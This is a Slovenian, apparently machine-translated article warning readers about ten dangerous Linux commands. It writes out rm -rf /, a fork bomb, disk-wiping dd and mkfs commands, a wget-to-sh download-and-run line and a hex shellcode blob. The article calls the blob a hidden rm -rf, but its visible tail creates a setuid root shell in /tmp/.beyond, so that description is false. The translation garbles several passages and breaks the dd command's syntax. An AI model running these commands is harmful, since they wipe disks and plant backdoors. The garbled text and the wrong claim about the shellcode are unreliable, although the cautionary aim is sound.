10 najbolj nevarnih ukazov - v Linuxu ne smete izvajati


Ukazna vrstica Linuxa je produktivna, uporabna in zanimiva, včasih pa je lahko zelo nevarna, še posebej, če niste prepričani, kaj počnete. Namen tega članka je, da vas razjezi Linux ali ukazna vrstica Linuxa. Želimo vas le seznaniti z nekaterimi ukazi, ki jih morate dobro premisliti, preden jih izvedete.

1. ukaz rm -rf

Ukaz rm -rf je eden najhitrejših načinov za brisanje mape in njene vsebine. Toda malo tipkarske napake ali nevednosti lahko povzroči nepopravljivo sistemsko škodo. Nekatere možnosti, ki se uporabljajo z ukazom rm, so.

  1. ukaz rm v Linuxu se uporablja za brisanje datotek.
  2. ukaz rm -r mapo rekurzivno izbriše, tudi prazno mapo.
  3. ukaz rm -f brez zahteve odstrani funkcijo »Samo za branje«.
  4. rm -rf /: Prisilno izbriši vse v korenskem imeniku.
  5. rm -rf *: prisilno izbriši vse v trenutnem imeniku/delovnem imeniku.
  6. rm -rf. : Prisilno izbriši trenutno mapo in podmape.

Zato bodite previdni pri izvajanju ukaza rm -rf. Če želite premagati naključno brisanje datoteke z ukazom „rm“, v datoteki „.bashrc“ ustvarite vzdevek ukaza „rm“ kot „rm -i“, pozval vas bo, da potrdite vsako brisanje.

2.:() {: |: &} ;: Ukaz

Zgoraj je pravzaprav vilična bomba. Deluje tako, da definira funkcijo, imenovano ‘:‘, ki se dvakrat pokliče, enkrat v ospredju in enkrat v ozadju. Izvaja se znova in znova, dokler sistem ne zamrzne.

:(){:|:&};:

3. ukaz>/dev/sda

Zgornji ukaz zapiše izhod 'command' na blok/dev/sda. Zgornji ukaz zapiše neobdelane podatke in vse datoteke v bloku bodo nadomeščene s surovimi podatki, kar povzroči popolno izgubo podatkov v bloku.

4. mapa mv/dev/null

Zgornji ukaz bo mapo premaknil na/dev/null. V sistemu Linux/dev/null ali null je posebna datoteka, ki zavrže vse podatke, ki so ji zapisani, in poroča, da je operacija pisanja uspela.

# mv /home/user/* /dev/null

Zgornji ukaz bo vso vsebino uporabniškega imenika premaknil v/dev/null, kar dobesedno pomeni, da je bilo vse, kar je bilo poslano v črno luknjo (null).

5. wget http:// malicious_source -O- | sh

Zgornji ukaz bo prenesel skript iz zlonamernega vira in ga nato izvedel. Ukaz Wget bo prenesel skript in sh bo izvedel preneseni skript.

Opomba: Dobro se morate zavedati vira, od koder prenašate pakete in skripte. Uporabljajte samo tiste skripte/programe, ki so preneseni iz zaupanja vrednega vira.

6. mkfs.ext3/dev/sda

Zgornji ukaz bo formatiral blok 'sda' in zagotovo bi vedeli, da bo po izvedbi zgornjega ukaza vaš blok (trdi disk) nov, ČISTO NOVO! Brez kakršnih koli podatkov vaš sistem zapusti v nepopravljivi fazi.

7.> datoteka

Zgornji ukaz se uporablja za izpiranje vsebine datoteke. Če se zgornji ukaz izvede s tipkarsko napako ali nevednostjo, kot je »> xt.conf«, bo zapisal konfiguracijsko datoteko ali kateri koli drug sistem ali konfiguracijsko datoteko.

8. ^foo ^bar

Ta ukaz, kot je opisano v naših 10 manj znanih ukazih za Linux, se uporablja za urejanje prejšnjega ukaza za zagon brez potrebe po ponovnem vnosu celotnega ukaza. Toda to je lahko res težavno, če niste tvegali temeljitega preverjanja spremembe prvotnega ukaza z ukazom ^foo ^bar.

9. dd, če =/dev/naključno od =/dev/sda

Zgornji ukaz bo izbrisal blok sda in v blok zapisal naključne neželene podatke. Seveda! Vaš sistem bi ostal v neskladni in nepopravljivi fazi.

10. Skriti ukaz

Spodnji ukaz ni nič drugega kot prvi zgornji ukaz (rm -rf). Tu so kode skrite v šestnajstiki, tako da se lahko nevedni uporabnik zavede. Z zagonom spodnje kode v terminalu boste izbrisali korensko particijo.

Ta ukaz tukaj kaže, da je grožnja morda skrita in je včasih običajno ni mogoče zaznati. Zavedati se morate, kaj počnete in kakšen bi bil rezultat. Ne zbirajte/zaženite kod iz neznanega vira.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Opomba: Ne izvajajte nobenega od zgornjih ukazov v terminalu ali lupini Linuxa ali v prijateljskem ali šolskem računalniku. Če jih želite preizkusiti, jih zaženite v navideznem računalniku. Vsaka neskladnost ali izguba podatkov zaradi izvajanja zgornjega ukaza bo razgradila vaš sistem, za kar ne odgovarjata niti avtor članka niti Tecmint.

To je vse za zdaj. Kmalu bom spet tu z drugim zanimivim člankom, ki ga boste ljudje radi prebrali. Do takrat ostanite z nami in povezani s Tecmintom. Če poznate še kakšne take nevarne ukaze za Linux in bi radi, da jih dodamo na seznam, nam to sporočite v oddelku za komentarje in ne pozabite dati svojih dragocenih povratnih informacij.